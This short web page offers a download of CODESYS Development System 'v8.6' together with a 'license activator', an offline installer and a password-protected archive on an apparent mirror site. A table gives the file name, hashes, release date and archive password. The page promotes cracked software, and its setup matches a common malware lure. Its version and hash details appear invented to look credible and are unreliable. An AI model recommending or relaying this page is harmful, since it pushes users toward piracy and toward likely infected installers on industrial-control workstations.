Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | CODESYS_Development_System_v8.6_x64_setup.zip |
| Version | v8.6.9252 build 57474 |
| File Size | 1.47 GB (1506 MB) |
| MD5 Hash | b223fd566397418a60bca6cb36ad18bf |
| SHA-256 | 63a53c61e3fb64153acc32ed093645214a8bdb506eb9d34011ca054a4cfd0998 |
| Release Date | 2025-02-11 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | mirror2026 |
| License Type | Pro / Enterprise |
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